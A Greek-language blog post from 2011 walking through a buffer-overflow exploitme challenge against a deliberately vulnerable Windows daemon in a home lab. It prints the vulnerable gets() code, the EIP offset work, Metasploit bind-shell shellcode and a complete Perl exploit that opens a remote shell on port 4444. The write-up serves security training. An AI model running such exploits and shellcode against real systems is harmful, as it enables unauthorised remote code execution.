RSS

Windows vulnerable deamon – (exploitme challenge)

30 Aug

Πριν από αρκετό καιρό (καθώς περιπλανιόμουν στους δαιδαλώδεις λαβυρίνθους του internet) “ανακάλυψα” ένα challenge (τύπου exploitme) απ’ τον ivanlef0u. Το συγκεκριμένο exploitme είναι έναν Vulnerable Windows Deamon γραμμένος σε “c”. Ο δημιουργός του (ivanlef0u) έχει παραθέσει σε ένα συμπιεσμένο αρχειο exploitme.rar το εκτελέσιμο (exploime.exe) καθώς και τον source code (exploitme.c).  Όποιος θέλει να το λύσει μόνος του, για εξάσκηση, ας μήν κοιτάξει την λύση …

Επίλυση

Για την επίλυση του συγκεκριμένου exploitme χρησιμοποιήθηκαν δύο μηχανήματα.

  • Ένα Windows ΧΡ SP3 το οποίο ήταν ο στόχος και στο οποίο έτρεχε (καθ’ όλη τη διάρκεια των δοκιμών) ο Vulnerable Windows Deamon.
  • Ένα Linux Backtrack 5 απ’ το οποίο εκτελούσαμε την επίθεση.

Σαν πρώτο βήμα χρειάστηκε να εκτελέσουμε τον deamon (exploitme.exe) στο μηχάνημα του στόχου.

Διαβάζοντας source code (exploitme.c) μπορούμε να διαπιστώσουμε ότι για να συνδεθούμε στο μηχάνημα του στόχου θα πρέπει να χρησιμοποιήσουμε την port 1337.

#define PORT 1337

Και για του λόγου το αληθές..

root@bt:~# nmap 192.168.178.21 -p 1337

Starting Nmap 5.51 ( http://nmap.org ) at 2011-08-30 16:04 EEST
Nmap scan report for winxpsp3 (192.168.178.21)
Host is up (0.00053s latency).
PORT     STATE SERVICE
1337/tcp open  waste
MAC Address: 08:00:27:B4:B8:83 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

Ok, ας συνδεθούμε στην port 1337 να δούμε…

root@bt:~# nc 192.168.178.21 1337
How it taste motherfucker ?!

H εφαρμογή περιμένει (από εμάς) να της εισάγουμε κάτι…

root@bt:~# nc 192.168.178.21 1337
How it taste motherfucker ?!
Hello i am ninja : )
Hello i am ninja : )
root@bt:~#

Το μηχάνημα του στόχου όταν του εισήγαμε το “Hello i am ninja : )” αποκρίθηκε όπως στην εικόνα.

Επιστροφή στον source code (exploitme.c) για να βρούμε κάποιο vulnerability! Το ευπαθές κομμάτι του κώδικα δείχνει να είναι αυτό:

int Child()
{
CHAR Buff[256];
printf("How it taste motherfucker ?!\n");
gets(Buff); // BOFME !
printf("%s\n", Buff);
return 1;
}

Γίνετε χρήση ενός προκαθορισμένου buffer μέγιστου εύρους 256 χαρακτήρων (256 bytes). Στη συνέχεια η συνάρτηση gets() (η οποία, είναι ευάλωτη σε επιθέσεις Buffer Overflow) “παραλαμβάνει” ο,τι κάνει input ο χρήστης απ’ το πληκτρολόγιο και γεμίζει το buffer. Το buffer γεμίζει με 256 bytes άρα στα 257 bytes θα προκληθεί buffer overflow, αφου θα εισάγουμε περισσότερα δεδομένα από όσα το buffer έχει προκαθοριστεί να χωράει!

root@bt:~# perl -e 'print "A"x257'| nc 192.168.178.21 1337
How it taste motherfucker ?!
^C

Αν κοιτάξουμε τώρα (στο μηχάνημα του στόχου) βλέπουμε ότι το exploitme.exe έχει “σκάσει” αλλά δέν έχει τερματιστεί! Αυτό οφείλεται στη χρήση της ρουτήνας CreateProcess(). Η CreateProcess() αναλλαμβάνει τη δημιουργία μιας νέας (θυγατρικής) διεργασίας.

Αποτέλεσμα: Κάθε φορά που προσπαθούμε να “σκάσουμε” την εφαρμογή exploitme.exe, ναι μεν σκάει η θυγατρική διεργασία που έχει το vulnerability, αλλά η μητρική στη συνέχεια δημιουργεί μία νέα θυγατρική κτλ.

Έτσι, όσες φορές και να δοκιμάσουμε να “σκάσουμε” το πρόγραμμα, δεν θα τερματιστεί ποτέ!

Αυτό, μας δυσκολεύει αρκετά γιατί δεν μπορούμε να χρησιμοποιήσουμε τον debugger, τερματίζοντας την εφαρμογή, ώστε να μελετήσουμε την κατάσταση που επικρατεί στη stack κατά την διάρκεια των δοκιμών μας.

Τι κάνουμε τώρα; Θα χρησιμοποιήσουμε τον Event Viewer που υπάρχει στα Windows.

Control Panel --> Administrative Tools --> Event Viewer --> Applications

Υπενθυμηση: Έχουμε ήδη κάνει χρήση (256 +1) = 257 Bytes.

Όπως μπορούμε να δούμε και στην εικόνα το error log γράφει ότι :

Faulting application exploitme.exe, version 0.0.0.0, faulting module
exploitme.exe, version 0.0.0.0, fault address 0x000008aa.

Ανακεφαλαίωση:

256 Bytes (γεμίζει το buffer) + 4 Bytes (Base Pointer (EBP)) = 260 Bytes + 4 Bytes θα γίνει οverwrite η τιμή του ΕΙP register.

Για να δούμε αν οι υπολογισμοί μας είναι σωστοί, θα στείλουμε 264 “AAA…”

Το error log γράφει :

Faulting application exploitme.exe, version 0.0.0.0, faulting module unknown,
version 0.0.0.0, fault address 0x41414141.

Με 264 Bytes καταφέραμε τελικά να επεγράψουμε την τιμή του EIP register.

Σειρά έχει, να δημιουργήσουμε ένα exploitάκι το οποίο θα εκτελέσει για εμάς κάποιο shellcode στο μηχάνημα του στόχου.

Στη δημιουργία του shellcode θα χρησημοποιήσουμε το metasploit.

root@bt:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=4444 P
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=seh,
# InitialAutoRunScript=, AutoRunScript=
my $buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" .
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" .
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" .
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" .
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" .
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" .
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" .
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" .
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" .
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" .
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" .
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" .
"\xff\xd5\xbb\xfe\x0e\x32\xea\x68\xa6\x95\xbd\x9d\xff\xd5" .
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" .
"\x6a\x00\x53\xff\xd5";

Ετοιμάζουμε το exploit μας (wvd_exploit.pl) και προσθέτουμε το shellcode που μόλις δημιουργήσαμε.

#!/usr/bin/perl
#
# Solution for Windows Vulnerable (Challenge) Deamon
# Author: mr.pr0n (@_pr0n_)
# Homepage: https://ghostinthelab.wordpress.com/ - http://s3cure.gr

use IO::Socket;

print "\n#----[ mr.pr0n ]---------------------------------------------------#\n";
print "#    Target App: Windows -Vulnerable- Deamon.                      #\n";
print "#----------------------------[https://ghostinthelab.wordpress.com]--#\n";

$target = "192.168.178.21"; # Target IP.

# We need 264 bytes to overwrite the EIP!
# First of all, we send 260 bytes of Junks (256 + 4(for the base pointer)).

#----------#
$junkBytes      = "\x41" x 260;         # Send 260 "A".
$RET            = "\x53\x2b\xab\x71";   # ws2_32.dll push ESP - ret
$Nops           = "\x90" x 10;          # Send 10 useful Nops before the shellcode.
#----------#

$shellcode =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" .
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" .
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" .
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" .
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" .
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" .
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" .
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" .
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" .
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" .
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" .
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" .
"\xff\xd5\xbb\xfe\x0e\x32\xea\x68\xa6\x95\xbd\x9d\xff\xd5" .
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" .
"\x6a\x00\x53\xff\xd5";

if ($socket = IO::Socket::INET->new
         (PeerAddr => $target,
         # Target port.
         PeerPort => "1337",
         Proto => "TCP"))
                {
                print "\n[*] Sending Buffer at: $target \n";
                $exploit  = $junkBytes.$RET.$Nops.$shellcode;
                print $socket $exploit."\r\n";
                # Hey, wait a sec!
                sleep(1);
                close($socket);
                print "[*] Exploitation Done!\n\n";
                system("nc $target 4444");
                }
else
        {
        print "[-] Connection to $target failed!\n";
        }

Tο exploit μας είναι ετοιμο για εκτέλεση… BOOM!!

 
Leave a comment

Posted by on August 30, 2011 in It's Greek to Me

 

Tags: , , , , , ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: